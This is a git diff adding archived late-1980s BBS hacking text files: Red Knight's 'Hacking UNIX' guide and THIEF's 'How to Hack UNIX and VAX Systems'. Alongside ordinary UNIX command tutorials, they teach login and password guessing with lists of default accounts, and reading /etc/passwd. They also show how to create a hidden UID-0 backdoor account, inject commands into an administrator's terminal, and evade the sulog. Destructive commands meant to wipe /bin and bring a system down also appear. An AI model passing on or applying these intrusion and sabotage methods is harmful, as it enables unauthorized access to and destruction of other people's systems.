+\----------------------------------------------------------------------------/ + +This is the proccess to add a user.Since you hacked into a super user account +you can make a super user account by doing the following by entering 0 as an +user and a group ID and enter the home directory as /usr/admin.This will give +you as much access as the account sysadm +**Caution** - Do not use login names like Hacker,Cracker,Phreak etc .This is +a total give away. +The process of adding a user wont last very long the S.A will know when he +checks out the /etc/passwd file + +$sysadm moduser - This utility allows one to modify users.DO NOT ABUSE!!! +Password: + +This is what you'll see: + +/----------------------------------------------------------------------------\ +MODIFYING USER'S LOGIN + +1)chgloginid (This is to change the login ID) +2)chgpassword (Changing password) +3)chgshell (Changing directory DEFAULT = /bin/sh) + +ENTER A NUMBER,NAME,INITIAL PART OF OF NAME,OR ? OR ? FOR HELP, +Q TO QUIT ? +\----------------------------------------------------------------------------/ + +Try every one of them out.Do not change someones password.It creates a havoc. +If you do decide to change it.Please write the original one down somewhere +and change back.Try not to leave to many traces after you had your fun. +In choice number 1 you will be asked for the login and then the new one. +In choice number 2 you will asked for the login and then supplied by it correct +password and enter a new one. +In choice 3 this is used to a pchange the login shell ** Use full ** +The above utilites can be used separatly for eg( To change a password one +coulfd enter: $sysadm chgpasswd not chapassword ,The rest are same) + +$sysadm deluser - This is an obviously to delete a user +password: + +This will be the screen output: +/---------------------------------------------------------------------------\ +Running subcommand 'deluser' from menu 'usermgmt' +USER MANAGEMENT +This fuction completely removes the user,their mail file,home directory +and all files below their home directory from the machine. + +Enter login ID you wish to remove[q]: (eg.cathy) +'cathy' belongs to 'Cathy Franklin' +whose home directory is /usr/cathy +Do you want to remove this login ID 'cathy' ? [y,n,?,q] : + +/usr/cathy and all files under it have been deleted. + +Enter login ID you wish to remove [q]: +\--------------------------------------------------------------------------/ +This command deletes everthing owned by the user.Dont use it even if you have +access to it. + + + +other super user commands: +-------------------------- +wall [text] control-d - to send an anouncement to users logged in(will + override mesg -n command).Execute only from / +/etc/newgrp - is used to become a member of a group + +sysadm [program name] + delgroup - delets groups + whoson - self explanatory + lsgroup - Lists group + mklineset -hunts various sequences + lsuser -lists all the users & their logins names + +Other commands may require file system to be mounted. + + + Basic Networking utility(BNU) + ----------------------------- + +The BNU is a unique feature in UNIX.Some systems may not have this installed. +What BNU does is allow other remote UNIXes communicate with yours without +logging off the present one.BNU also allowes file transfer between computers. +Most UNIX systems V will have this feature installed. + +The user program like cu,uux etc are located in the /usr/bin directory + +Basic Networking Files: +----------------------- +/usr/lib/uucp/[file name] + [file name] + systems - cu command to establishes link.Contains info on remote computers + name,time it can be reached,login Id,password,telephone numbers + devices - inter connected with systems files(Automatic call unit same in two + entries)also cantains baud rate,port tty1 etc. + + dialers - where asscii converation must be made before file tranfers etc. + dialcodes - contains abreiviations for phone numbers that can be used in + systems file + + other files are sysfiles,permissions,poll,devconfig + +B.N.U Aministrative files: +-------------------------- +There are 5 admnistrative files present.These are files are created in the +/usr/spool directory .These A.Files are responsible for various BNU procceses +like kepping records data ,files tranfers bettwenn remote and local and also +usefull to lock devices. + +TM - This file used to hold temporary data .When tranfering the files from a + remote to local the /usr/spool/uucp/[name of the remote computer ] creates + this in the format of as of below: + + TM[Process Identification Number].[ddd] + + The ddd is the a 3 digit number (sequential) starting with "0" + Here a typical eg: TM322.012 + Then this file is moved into the path defined by the C.sysnxxx file + +X.[Execute files] - Created in the /usr/spool before you execute the commands + in remote. + The format used to name this file is X.sysnxxx + where sys stand for the remote name and n is the priority + level the xxxx is a sequence assingned by the uucp.These + files always contain the Name of the file ,Comuter & file + name to recieve,Persons login & computer name and the + command string. + +LCK - The lock file created in the /usr/spool/locks directory.The is used when + devices are being used.Prevent usage of the same calling device. + + Format used: LCK.str wher the str is a device name.The Lock file contains + the PID needed to lock + +C.sysnxxx - created in the usr/spool directory.These are the work files.Used + when work is in line,remote execeutions.Format is same as the + X.sysnxxxx.The works files contain the full path name of the file + to be sent,path name of the destination (TM Transfers),Remote login + name to be notified after the file transmision is complete,Users + login name and the name of the programs used eg.uucp,uupick etc. + +D - The data files.Format used is D.systmxxxxyyy.These files are created when + specified in a command to copy to the spool directory.Eg. By the usage of + uucp -C this will be true. + The systm is the remote name,xxxx is the the 4 digits seq assingned by + the uucp.The yyy is a sub sequence number. + +Logining on to remote and sending+receiving files +------------------------------------------------- + cu - This command allows one to log on to the local as well as the remote + Unix (or a non unix)without haveing to hang up so you can transfer files. + Usage:[options] + + $ cu [-s baud rate][-o odd parity][-e even parity][-l name of comm line] + telephone number | systemname + + To view system names that you can communicate with use the 'unname' command: + Eg. of output of names: + + ATT01 + ATT02 + ATT03 + ATT04 + + +$ cu -s300 3=9872344 (9872344 is the tel#) + connected + login: + password: + +local strings: +-------------- +<~.> - will log you off the remote terminal but not the local +~! - out you on the local withiout disconnecting the line from remote + - puts you back on the remote unix +~%take [file name] - takes a copy of the file name and copies it to the + local(the directory which you are in) +"%put [file name] - reverse of above +~$[command] - allows the execution of a command to the local from remote + +ct +-- +ct allows local to connect to remote.Initiates a getty on a remote terminal. +Usefull when using a remote terminal.BNU has call back feature that allows +the user on the remote who can execute a call back meaning the local can call +the remote.[ ] are options + +$ ct [-h prevent automatic hang up][-s bps rate][-wt set a time to call back + abbrieviated t mins] telephone number + +uux +--- +To execute commands on a remote (unix to unix) +usage:[ ] are options + +$ uux [- use standard output][-n prevent mail notification][-p also use + standard output] command-string + +uucp +---- +uucp copies files from ones computer to the home directory +of a user in remote system.This also works when copying files from one +directory to another in the remote.The remote user will be notified by mail. +This command becomes use full when copying files from a remote to your local +system. +The uucp requires the uucico daemon will call up the remote and will perform +file login sequence,file transfer and notify the user by mail. +Daemons are programs runining in the background.The 3 daemons in a Unix are +uucico,uusched,uuxqt. + + Daemons Explained:[nows a good time to explain the 3 daemons] + ------------------ + + uuxqt - Remote execution.This daemon is executed by uudemon.hour started by + cron.UUXQT searchs in the spool directory for executable file + named X.file sent from the remote system.When it finds a file X.file + where it obtains process which are to be executed.The next step is + to find weather the processes are available at the time.The if + available it checks permission and if everthing is o.k it proceeds + the background proccess. + + uucico - This Daemon is very immportant for it is responsible in establishing + a connection to the remote also checks permission,performs login + procedures,transfers + executes files and also notifies the user + by mail.This daemon is called upon by uucp,uuto,uux commands. + + uusched - This is executed by the shell script called uudemon.hour + This daemons acts as a randomizer before the UUCICO daemon is + called. + + +Usage of uucp command: + +$ uucp [options] [first full path name!] file [destination path!] file +example: +$ uucp -m -s bbss hackers unix2!/usr/todd/hackers + +What this would do is send the file hackers from your computer to the remotes +/usr/todd/hackers making hackers offcourse as file.todd would mail that +a file has been sent to him.The unix2 is the name of the remote. +Options for uucp:(Dont forget to type in remotes name unix2 in case) +-c dont copy files to spool directory +-C copy to spool +-s[file name] - this file will contain the file status(above is bbss) +-r Dont start the comm program(uucico) yet +-j print job number(for above eg.unix2e9o3) +-m send mail when file file is complete + +Now suppose you wanted to receive file called kenya which is in the usr/dan/usa + to your home directory /usr/john assuming that the local systems name is +ATT01 and you are currently working in /usr/dan/usa,you would type in: + +$uucp kenya ATT01!/usr/john/kenya + +uuto +---- +The uuto command allows one to send file to remote user and can also be used +to send files locally. +Usage: +$ uuto [file name] [system!login name]( omit systen name if local) + + + +Conclusion: +----------- +Theres always more one can say about the UNIX but its time to stop. +I hope you have enjoyed the article.I apologize for the lenght. I hope I +made the UNIX operating system more familiar. +Remember do not abuse any systems you hack into for a true hacker doesn't like +to reck but to learn. +I can be reached at (718)358/9209 - Hackers Den88 [2600 BBS #5] + +Watch for my new article on using PANAMAC airline computers coming soon. + + + Red Knight + P/HUN! + <> + +Leached off SSC (713) 497-2312 + +[13] [UNIX system specifics (all versions)] +(98) Minutes Remaining +(G-Files Menu) Command : [ + +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X + Another file downloaded from: The NIRVANAnet(tm) Seven + + & the Temple of the Screaming Electron Taipan Enigma 510/935-5845 + Burn This Flag Zardoz 408/363-9766 + realitycheck Poindexter Fortran 510/527-1662 + Lies Unlimited Mick Freen 801/278-2699 + The New Dork Sublime Biffnix 415/864-DORK + The Shrine Rif Raf 206/794-6674 + Planet Mirth Simon Jester 510/786-6560 + + "Raw Data for Raw Nerves" +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X diff --git a/textfiles.com/hacking/UNIX/hackunix b/textfiles.com/hacking/UNIX/hackunix new file mode 100644 index 00000000..0349282a --- /dev/null +++ b/textfiles.com/hacking/UNIX/hackunix @@ -0,0 +1,116 @@ +[:%:%:%:%:%:%:% THIEF %:%:%:%:%:%:%:%:] + + How to Hack UNIX and VAX Systems + +[:%:%:%:%:%:%:%:%:%:%:%:%:%:%:%:%:%:%:] + +HUV (C) 1989 THIEF + +Written by, The Wizard + +THIEF Volume 1, Issue 7 + +Call the I.C.E. Palace 817 465-3271 + +======================================= + +Unix is a trademark of bell labs ** ** (and you know what *that* means) ** ** +Hacking vax's +and unix. In this article, we discuss the unix system that runs on the various +vax systems. If you are on another unix-type system, some commands may differ, +but since it is licenced to bell, they can't make many changes. Hacking onto +a unix system is very difficult, and in this case, we advise having an inside +source, if possible. The reason it is difficult to hack a vax is this: many +vax, after you get a carrier from them, respond=> login: they give you no +chance to see what the login name format is. Most commonly used are single +words, under 8 digits, usually the person's name. There is a way around this: +most vax have an acct. Called 'suggest' for people to use to make a suggestion +to the system root terminal. This is usually watched by the system operator, +but at late he is probably at home sleeping or screwing someone's brains out. +So we can write a program to send at the vax this type of a message: a screen +freeze (cntrl-s), screen clear (system dependant), about 255 garbage +characters, and then a command to create a login acct., After which you clear +the screen again, then un- freeze the terminal. What this does: when the +terminal is frozen, it keeps a buffer of what is sent. Well, the buffer is +about 127 characters long. So you overflow it with trash, and then you send a +command line to create an acct. (System dependant). After this you clear the +buffer and screen again, then unfreeze the terminal. This is a bad way to do +it, and it is much nicer if you just send a command to the terminal to shut the +system down, or whatever you are after... There is always, *always* an acct. +Called root, the most powerful acct. To be on, since it has all of the system +files on it. If you hack your way onto this one, then everything is easy from +here on... On the unix system, the abort key is the cntrl-d key. Watch how +many times you hit this, since it is also a way to log off the system! A little +about unix architechture: the root directory, called root, is where the system +resides. After this come a few 'sub' root directories, usually to group things +(stats here, priv stuff here, the user log here...). Under this comes the +superuser (the operator of the system), and then finally the normal users. In +the unix 'shell' everything is treated the same. By this we mean: you can +access a program the same way you access a user directory, and so on. The way +the unix system was written, everything, users included, are just programs +belonging to the root directory. Those of you who hacked onto the root, smile, +since you can screw everything... The main level (exec level) prompt on the +unix system is the $, and if you are on the root, you have a # (super- user +prompt). Ok, a few basics for the system... To see where you are, and what +paths are active in reguards to your user account, then type => pwd this shows +your acct. Seperated by a slash with another pathname (acct.), Possibly many +times. To connect through to another path, or many paths, you would type: you=> +ph1/path2/path3 and then you are connected all the way from path1 to path3. +You can run the programs on all the paths you are connected to. If it does not +allow you to connect to a path, then you have insufficient privs, or the path +is closed and archived onto tape. You can run programs this way also: you=> +p1/path2/path3/program-name unix treats everything as a program, and thus +there a few commands to learn... To see what you have access to in the end +path, type=> ls for list. This show the programs you can run. You can +connect to the root directory and run it's programs with=> /root by the way, +most unix systems have their log file on the root, so you can set up a watch on +the file, waiting for people to log in and snatch their password as it passes +thru the file. To connect to a directory, use the command: => cd pathname this +allows you to do what you want with that directory. You may be asked for a +password, but this is a good way of finding other user names to hack onto. +The wildcard character in unix, if you want to search down a path for a game or +such, is the *. => Ls /* should show you what you can access. The file types +are the same as they are on a dec, so refer to that section when examining +file. To see what is in a file, use the => pr filename command, for print +file. We advise playing with pathnames to get the hang of the concept. There +is on-line help available on most systems with a 'help' or a '?'. We advise you +look thru the help files and pay attention to anything they give you on +pathnames, or the commands for the system. You can, as a user, create or +destroy directories on the tree beneath you. This means that root can kill +every- thing but root, and you can kill any that are below you. These are the +=> mkdir pathname => rmdir pathname commands. Once again, you are not alone +on the system... Type=> who to see what other users are logged in to the +system at the time. If you want to talk to them=> write username will allow +you to chat at the same time, without having to worry about the parser. To +send mail to a user, say => mail and enter the mail sub-system. To send a +message to all the users on the system, say => wall which stands for 'write +all' by the way, on a few systems, all you have to do is hit the key +to end the message, but on others you must hit the cntrl-d key. To send a +single message to a user, say => write username this is very handy again! If +you send the sequence of characters discussed at the very beginning of this +article, you can have the super-user terminal do tricks for you again. Privs: +if you want super-user privs, you can either log in as root, or edit your acct. +So it can say => su this now gives you the # prompt, and allows you to +completely by-pass the protection. The wonderful security conscious developers +at bell made it very difficult to do much without privs, but once you have +them, there is absolutely nothing stopping you from doing anything you want to. +To bring down a unix system: => chdir /bin => rm * this wipes out the pathname +bin, where all the system maintenance files are. Or try: => r -r this +recursively removes everything from the system except the remove command +itself. Or try: => kill -1,1 => sync this wipes out the system devices from +operation. When you are finally sick and tired from hacking on the vax +systems, just hit your cntrl-d and repeat key, and you will eventually be +logged out. The reason this file seems to be very sketchy is the fact that bell +has 7 licenced versions of unix out in the public domain, and these commands +are those common to all of them. We recommend you hack onto the root or bin +directory, since they have the highest levels of privs, and there is really not +much you can do (except develope software) without them. + +======================================= + +The Wizard. + +THIEF. + +Sept. 1989 + diff --git a/textfiles.com/hacking/UNIX/hackunix.txt b/textfiles.com/hacking/UNIX/hackunix.txt new file mode 100644 index 00000000..2692d862 --- /dev/null +++ b/textfiles.com/hacking/UNIX/hackunix.txt @@ -0,0 +1,1076 @@ +] +*> Press [X] to Abort / [CR] to Continue: [] + +*> Title: Hacking UNIX +*> Date: 6/10/89 +*> Time: 12:20 pm + + + + + /|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\ + \|/ \|/ + /|\ /|\ + \|/ An Indepth Guide in Hacking UNIX and the \|/ + /|\ concept of Basic Networking Utility /|\ + \|/ ---------------------------------------- \|/ + /|\ By:Red Knight /|\ + \|/ Phreakers/Hackers Underground Network \|/ + /|\ /|\ + \|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/\|/ + +Brief history on UNIX +---------------------- +Its because of Ken Tompson that today were able to Hack Unix.He used to work +for Bell Labs in the 60s.Tompson started out using the MULTICS OS which was +later eliminated and Tompson was left without an operating system to work with. +Tompson had to come up with something real quick.He did some research and +and in 1969 UNIX came out,which was a single user and it didn't have +many capabilities.A combined effort with others he rewrote the version +in C and added some good features.This version was out in 1973 and was +available to the public.This was the first begining of UNIX as its known +presently.The more refined version of UNIX,today know as UNIX system V +developed by Berkley University has unique capabilities. +Various types of UNIXes are CPIX,Berkeley Ver 4.1,Berkeley 4.2,FOS,Genix,HP-UX, +IS/I,OSx,PC-IX,PERPOS,Sys3,Ultrix,Zeus,Xenix,UNITY,VENIX,UTS,Unisys,Uniplus+, +UNOS,Idris,QNIX,Coherent,Cromix,System III,System 7,Sixth edition. + +The article it self: +-------------------- +I believe that hacking into any system requires knowledge of the Operating +system itself.Basically what I will try to do is make you more familiar with +UNIX operation ,its usefull commands that will be advantageous to you as a +hacker.This article contains in depth explainations. + +Error Messages that one may came across:[UNIX system V] +---------------------------------------- +Login incorrect - An ivalid ID and/or pw was entered.This means nothing. + In UNIX there is no way guessing valid user IDs.You may + come across this one when trying to get in. +No more logins - will happens when the system wont accept anymore logins + could be going down +Unknown Id - will happen if an ivalid id is entered using (su) command +Unexpected eof in file - The file being stripped file has been damaged +Your password has expired - This is quiet rare although there have been cases + where it happened.Reading the etc/passwd will + show you at how many intervals it changes. +You may not change the password - The password has not yet aged enough.The + Administrator set the quotas for the users +Unknown group [groups name] - occurs when chgrp is executed ,group doesn't + exist +Sorry - Indicated that you have typed in an invalid super user password(execu- + tion of the su) +Permission denied!- Indicated you must be the owner or a super user to change + password. +Sorry <[# of weeks] since last change - This will happen when password has + has not aged enough and you tried to + change it(passwd) +[directory name]:no permission - You are trying to remove a directory which + you have no permission to. +[file name] not removed - trying to delete a file owned by another user + that you dont have write pemision for. +[dirname] not removed - ownership of the dir is not your that your trying to + delete. +[dirname] not empty - the directory contains files so you must have to delete + the files before executing the rmdir +[command] not found - you have entered an ivalid command not know to UNIX +cant execute pwd - some thing wrong with the system cant execute pwd command +cannot chdir to .. - (.. one level up) permision is required to execute pwd + above the current directory +cant open [file name] - defined wrong path,file name or you have no read + permission +cp:[file name] and [file name] are identical - self explanatory +cannot locate parent directory - occurs when using mv +[file name] not found - file which your trying to move doesn't exsist +You have mail - Self explanatory + +Basic Networking Utility error messages +--------------------------------------- +cu:not found - networking not installed +login failed - invalid id/pw or wrong # specified +dial failed - the systen never answered due to a wrong # +uucp completely failed - did not specify file after -s +wrong time to call - you called at the time at a time not specified in the + Systems file +system not in systems - you called a remote not in the systems file + +Logon format : first thing one must do is switch to lower case +-------------- +Identifing a UNIX.Here is what you'll see: +Some times there will be no system identifer + +AT&T UNIX SysVR3.0 (eg of a system identifier) + +login: + or +Login: + +Any of these is a UNIX.Here is where you will have to guess at a user valid +id.Here are some that I have come across eg( glr,glt,radgo,rml,chester,cat, +lom,cora,hlto,hwill,edcasey and also some containing numbers smith1,mitu6 or +special characters in it like bremer$,j#fox.Login names have to be 3 to 8 +chracters in lenght lowercase and must start with a letter.In some XENIX +systems one may login as "guest" + +User level accounts:(lower case) +-------------------- +In Unix they have whats called accounts .These +accounts can be used at the "login:" prompt. +Here is a list: + +sys +bin +trouble +daemon +uucp +nuucp +rje +lp +adm +listen - if starlan is installed + +Super-user accounts: +-------------------- +And then there are super-user login which make UNIX worth hacking. +The accounts are used for a specific job. In large systems these logins +are assingned to users who have a responsibilty to maintain subsystems. + +They are as follows :(all lower case) + +root - this is a must the system comes configured with it.It has no + restriction.Has power over every other account. +unmountsys - unmounts files +setup - system set up +makefsys - makes a new file +sysadm - allows useful S.A commands(doesn't need root login) +powerdown - powering system down +mountfsys - mounts files +checkfsys - checks file + +These accounts will definitly have passwords assigned to them.These +accounts are also commands used by the system administrator. + +Here are some examples of accounts I have seen: + +cron uuhelp usenet +anonuccp news network +bellboy lp vector +guest games ninja +vote warble sysinfo + + + +After the login prompt you will receive a password prompt: + +password: + or +Password: + +Enter the password (it wont echo).The password rule is as follows:Each pw +has to contain at least 6 characters and maximum has to be 8 .Two of which are +to be alphabetic letters and at least one being a number or a special character +The alphabetic digits could be in upper case or lower case.Here are some of the +passwords that I have seen (eg.Ansuya1,PLAT00N6,uFo/78,ShAsHi..,Div417co) + +The passwords for the super user accounts will be difficult to hack +try the accounts interchangebly eg.login:sysadm password:makefsys or rje1, +sysop,sysop1,bin4 or they might contain letter,numbers,special chracters in +them.It could be anything.The user passwords are changed by an aging proccess +at successive intervals.The users are forced to changed it.The super-user +will pick a password that wont need changing for a long period of time. + +You have made it! +----------------- +The hard part is over and hopefully you have hacked a super-user account. +Remember Control-d stops a process and also logs you off. +The next thing you'll probably see is the system news +eg. + +login:john +password:hacker1 +System news +There will be no networking offered to the users till +august 15,due to hardware problems. +(just an example) + +$ + +$ is the Unix prompt -waiting for a command to be entered.I will use this + throught the article to show outouts etc..(Its not + part of the command) +# - means your logged in as root(very good) + +A word about the XENIX System III:(run on the tandy 6000) +--------------------------------- +The largest weakness in the XENIX System III occurs after the installation +of the Profile-16 or more commonly know as the filepro-16.I have seen the +filepro-16 installed in many systems. +The installation process creates an entry in the password file for a user +named \fBprofile\fR ,an account that who owns and administors the database. +The great thing about it is that when the account is created ,no password is +assigned to it.The database contains executable to maintain it.The database +creation programs perform a \fBsetuid\fR to boot up the \fBoot\fR there by +giving a person the whole C Shell to gain Super User privilege same as root. +Intresting huh! + + +* Note: First the article will inform you of how the Unix is made up + +The Unix is made if three components-The shell,the kernal,file system. + +The kernal: +----------- +You could say that the kernal is the heart of the Unix operating system. +The kernal is a low level language lower than the shell which maintains +processes .The kernal handles memory usage ,maintains file system +the sofware and hardware devices. + +The shell: +---------- +The shell a higher level language. The shell had two important uses, +to act as command interpreture for example using commands like cat,who, +ls the the shell is at work figuring out whether you have entered a command +correctly or not.The second most important reason for the shell is its ability +to be used as programing language.Suppose your performing some tasks +repeatedly over and over again,You can program the shell to do this for you. + +The file system: +--------------- +The file system in Unix is divede into 3 catagories:Directories,ordinary files +and special files.(d,-) + +Basic stucture: +(/)-this is abreviation for the root dirctory. + root level root + (/) system +-------------------------------------|----------------------------------level +| | | | | | | | +/unix /etc /dev /tmp /lib /usr /usr2 /bin + | _____|_____ +login passwd | | | +level /john /cathy + ________________________|_______________ + | | | | | | + .profile /mail /pers /games /bin /michelle +*.profile - in case | __|______ | __|_______ + you wich to change your enviroment capital | | data | | +but after you log off.It sets to othello starwars letter letter1 +default. + +the /unix-is the kernal +/etc - contains system administrators files,Most are not available to the + regular user.(this directory contains the /passwd file) + + Here are some files under /etc directory: + /etc/passwd + /etc/utmp + /etc/adm/sulog + /etc/motd + /etc/group + /etc/conf + /etc/profile + +/dev - contains files for physical devices such as printer and the disk drives +/tmp - temporary file directory +/lib - dirctory that contains programs for high level languages +/usr - this directory contains dirctories for each user on the system + + Eg. of a list of files under /usr + /usr/tmp + /usr/lib + /usr/docs + /usr/news + /usr/spool + /usr/spool/lp + /usr/lib/uucp + +/bin - contain executable programs (commands) + +The root also contains: +/bck - used to mount a back up file system. +/install - Used to install and remove utilities +/lost+found - This is where all the removed files go,This dir is used by fsck + (1M) +/save -A utility used to save data +/mnt - Used for temporary mounting + +**Now the fun part scouting around** + + Local commands (Explained in details) + ------------------------------------- +At the unix prompt type the pwd command-it will show you the current working +directory you are in. + +$ pwd +$ /usr/admin - assuming that you have hacked into a super user acc checkfsys +$ + +This gives you the full login directory.The / before tell you the location +of the root directory + +or + +(REFER TO THE DIAGRAM ABOVE) +$ pwd +$ /usr/john +$ +Assuming you have hacked into johns acc. + +Now lets say you wanted to move down to the michelle directory( you own this) +that contains letters.You would type in + +$ cd michelle or cd usr/john/michelle +$ pwd +$ /usr/john/michelle +$ + +Going back one directory up type in: +$ cd .. +or going to your parent directory just type in "cd" + +Listing file directories assuming you are in the parent directory: + +$ ls /usr/john +mail +pers +games +bin +michelle +This wont give you the .profile file .To view it type +$ cd +$ ls -a +: +: +.profile + +To list file names in michelles directory type in: +$ ls michelle (that if your in the johns directory) +$ ls /usr/john/michelle(parent dir) + +ls -l +----- +The ls -l is an an important command in unix.This command displays the whole +directory in long format :Run this in parent directory + +$ ls -l +total 60 +-rwxr-x--- 5 john bluebox 10 april 9 7:04 mail +drwx------ 7 john bluebox 30 april 2 4:09 pers + : : : : : : : + : : : : : : : +-rwxr-x--- 6 cathy bluebox 13 april 1 13:00 partys + : : : : : : : +$ + +The total 60 tells one the ammount of disk space used in a directory.The +-rwxr-x--- is read in triples of 3.The first chracter eg(-,d,b,c)-means as +follows: - is an ordinary file ,d is a directory,b is block file,c is a +chracter file. +The r stands for read permission,w is write permission,x is execute.The first +colum is read in 3 triples as stated above.The first group of 3 (in -rwxr-x---) +after the "-" specifies the permission for the owner of the file,the second +triple are for the groups (the fourth colum) and the last triple are the +permissions for all other users.Therefore the -rwxr-x--- is read as follows. +The owner john has permission to read,write and execute anything in the bin +directory but the group has no write permission to it and the rest of the users +have no permission at all.The format of one of the lines in the above output +is as follows: + +file type-permissions,links,usersname,group,bytes taken,date,time when last +renued,directory or file name. +**You will be able to read,execute cathys file named party due to the same +group*** + +chmod +----- +The chmod command changes permission of a directory or a file.Format is +chmod who+,-,=r,w,x +The who is substituted by u-user,g-group,o-other users,a-all. +The + means add permission,- means remove permission,= - assign. +Example :If you wanted all other users to read the file name mail ,type: + +$ chmod o+r mail + +cat +--- +Now suppose you wanted to read the file letter .There are teo ways to doing +this.First go to the michelle directory then type in: + +$ cat letter +line one ...\ +line two ... }the output of letter +line three../ +$ + or +If you are in the parent directory type in: +$ cat /usr/john/michelle/letter +and you will have the same output. + +Some cat options are -s,-u,-v,-e,-t + +Special Chracters in Unix: +------------------------- +* - matches any number of single characters eg. ls john* will list + all files that begin with john +[...] - matchs any one of the chracter in the [ ] +? - matches any single chracter +runs a process in the backgroung leaving your terminal free +$ - Values used for variables also $n - null argument +> - redirectes output +< - redirects input to come from a file +>> - redirects command to be added to the end of a file +| - pipe output (eg:who|wc-l tells us how many users are online) +"..." - Turn of meaning of special chracters excluding $,` +`...` - allows command output in to be used in a command line +'...' - turns of special meaning of all chracters + +continuation of local commands...[ ] -contains the options used +------------------------------- +passwd +------ +Password changing seems to be a big thing among the savants.Anyway to change +the password one would use the 'passwd' command as shown below: + + $passwd + Changing password for john + Old password: + New password: + Retype new password: + $ + +This will only work when the password has aged enough + +ps +-- +Its sometimes necessary to see what command procesess you are running,this +command lets you see that. +ps [-a all processes except group leaders] [-e all processes] [-f the whole + list] + + $ps + PID TTY TIME COMMAND + 200 tty09 14:20 ps + + The systems reports (PID - process idenetification number which is a # + from 1-30,000 assigned to UNIX processes) + It also reports the TTY,TIME and the COMMAND being executed at the time. + To stop a process enter : + + $kill [PID] (this case its 200) + 200 terminated + $ + +grep +---- +This comand is important when seaching for a word or words in large files. + +grep [argument] [file name] - searchs for an file that contains the argument + for example: + $ grep phone cathy + phone michelle (718)5551234 + phone cindy (718)5553456 + + What this did was to find the argument 'phone' in the file cathy.If the + argument consists of two or more words then it must be enclosed in single + quotes. + + +mv +-- +mv [file names(s)] [ dir name ] - renames a file or moves it to another + directory eg. + $mv letter letters + $ + This renames the file letter to letters thereby deleting letter + or if you want to move files then + $mv /usr/john/pers/capital /usr/john/michelle/capital + $ + This moves the file capital to the directory named michelle + +diff +---- +diff [file name] [ file name] - show diffrence between two files.Output of this + will have something like 4,5c4,5 then the it + will display both sets of files on the screen + The 4,5c4,5 means that you must change "c" + lines 4 to 5 in one file to line 4 to 5 in + another. + Option for using this command are : + -b - it ignores blank spaces + -h - compares it quickly + -s - reports files that are the same + -S[file] - this is when you want to compare a directory starting at a + specific file + + + There is also a command to compare 3 files which is : + + diff3 [options] [file1] [file2] [file3] + +cp +-- +cp [file name] [file name] - makes a copy of a file + + $ cp letter letters + $ + The file letters is a dupilcate copy of letter.In this case the original + is not erased like in the mv command + + + +.... more UNIX commands: +-------------------- + +man [command] or [c/r] -will give you a list of commands explainations + +help - available on some UNIX systems + +mkdir [dir name(s)] - makes a directory + +rmdir [dir name(s)] - removes directory.You wont be able to remove the + directory if it contains files in them + +rm [file name(s)] - removes files. rm * will erase all files in the current + dir.Be carefull you!!.Some options are : + [-f unconditional removal] [-i Prompts user for y or n] + +write [login name ] - to write to other logged in users.Sort of a chat + +mesg [-n] [-y] - doesn't allow others to send you messages using the write + command.Wall used by system adm overrides it. + +$ [file name] - to execute any file + +wc [file name] - Counts words,chracters,lines in a file + +stty [modes] - Set terminal I/O for the current devices + +sort [filename] - Sorts and merges files many options + +spell [file name] > [file name] - The second file is where the misspelt words + are entered + +date [+%m%d%y*] [+%H%%M%S] - Displays date acoording to options + +at [-r] [-l] [job] - Does a specified job at a specified time.The -r Removes + all previously scheduled jobs.The -l reports the job # + and status of all jobs scheduled + +write [login] [tty] - Sends message to the login name.Chat! + + + +su [login name] +--------------- +The su command allows one to switch user to a super user to a user.Very +important could be used to switch to super user accounts. +Usage: + +$ su sysadm +password: + +This su command will be monitored in /usr/adm/sulog and this file of all files +is carefully monitered by the system administrator.Suppose you hacked in johns +account and then switched to the sysadm account (ABOVE) your /usr/adm/sulog +entry would look like: + +SU 04/19/88 21:00 + tty 12 john-sysadm + +Therfore the S.A(system administrator) would know that john swithed to sysadm +account on 4/19/88 at 21:00 hours + +Searching for valid login names: +------------------------------- +Type in- +$ who ( command informs the user of other users on the system) +cathy tty1 april 19 2:30 +john tty2 april 19 2:19 +dipal tty3 april 19 2:31 +: +: +tty is the users terminal,date,time each logged on.dipal,john are valid +logins. + +Files worth concatenating(cat) +/etc/passwd file: +----------------- +The etc/passwd is a vital file to cat.For it contains login names of all +users including super user accounts and there passwords.In the newer +SVR3 releases they are tighting their security by moving the encrypted +passwords from /etc/passwd to /etc/shadow making it only readable by root. +This is optional offcourse. + +$ cat /etc/passwd +root:D943/sys34:0:1:0000:/: +sysadm:k54doPerate:0:0:administration:usr/admin:/bin/rsh +checkfsys:Locked;:0:0:check file system:/usr/admin:/bin/rsh +: +other super user accs. +: +john:chips11:34:3:john scezerend:/usr/john: +: +other users +: +$ +If you have reached this far capture this file as soon as posible. +This is a typical output etc/passwd file.The entries are seperated +by a ":".There made be up to 7 fields in each line. +Eg.sysadm account. +The first is the login name in this case sysadm.The second field contains the +password.The third field contains the user id."0 is the root".Then comes the +group id then the account which contains the user full name etc .The sixth +field is the login directory defines the full path name of the the particlar +account and the last is the program to be executed. +Now one can switch to other super user account using su command descibed above. +The password entry in the field of the checkfsys account in the above example +is "Locked;". This doesn't mean thats its a password but the account +checkfsys cannot be accessed remotely.The ";" acts as an unused encryption +chracter.A space is also used for the same purpose.You will find this in many +UNIX systems that are small systems where the system administrator handles +all maintaince. + +Password aging: +--------------- +If password aging is active the user is forced to change the password at +regular intervals.One may be able to tell just by looking at the /etc/passwd +file when the password is allowed to be changed and when it is compulsory to +change it. +For example the entry: + +john:chips11,43:34:3:John Scezerend:/usr/john: + +The password contains an extension of (,43) which mean that john can change has +to change the password atleast evert 6 weeks and can keep it for atleast 3 +week.The format used is [password],Mmww.The M is the maxiumum number of weeks +password has to be change and m is the minimum interval password can be changed +and the ww is indicates when the password was last changed. + + Aging chart: +---------|----------- +Character|# of weeks + . | 0 + / | 1 + 0-9 | 2-11 + A-Z | 12-37 + a-z | 38-63 +---------|----------- + +From the above anyone can determine the number of weeks one can chnage the +password. + +The (ww) is automatically added as to when the password was last changed . + +IF SHAWDOWING IS ACTIVE: +------------------------ + +If the shawdowing is active the /etc/passwd would look like this: + +root:x:0:1:0000:/: 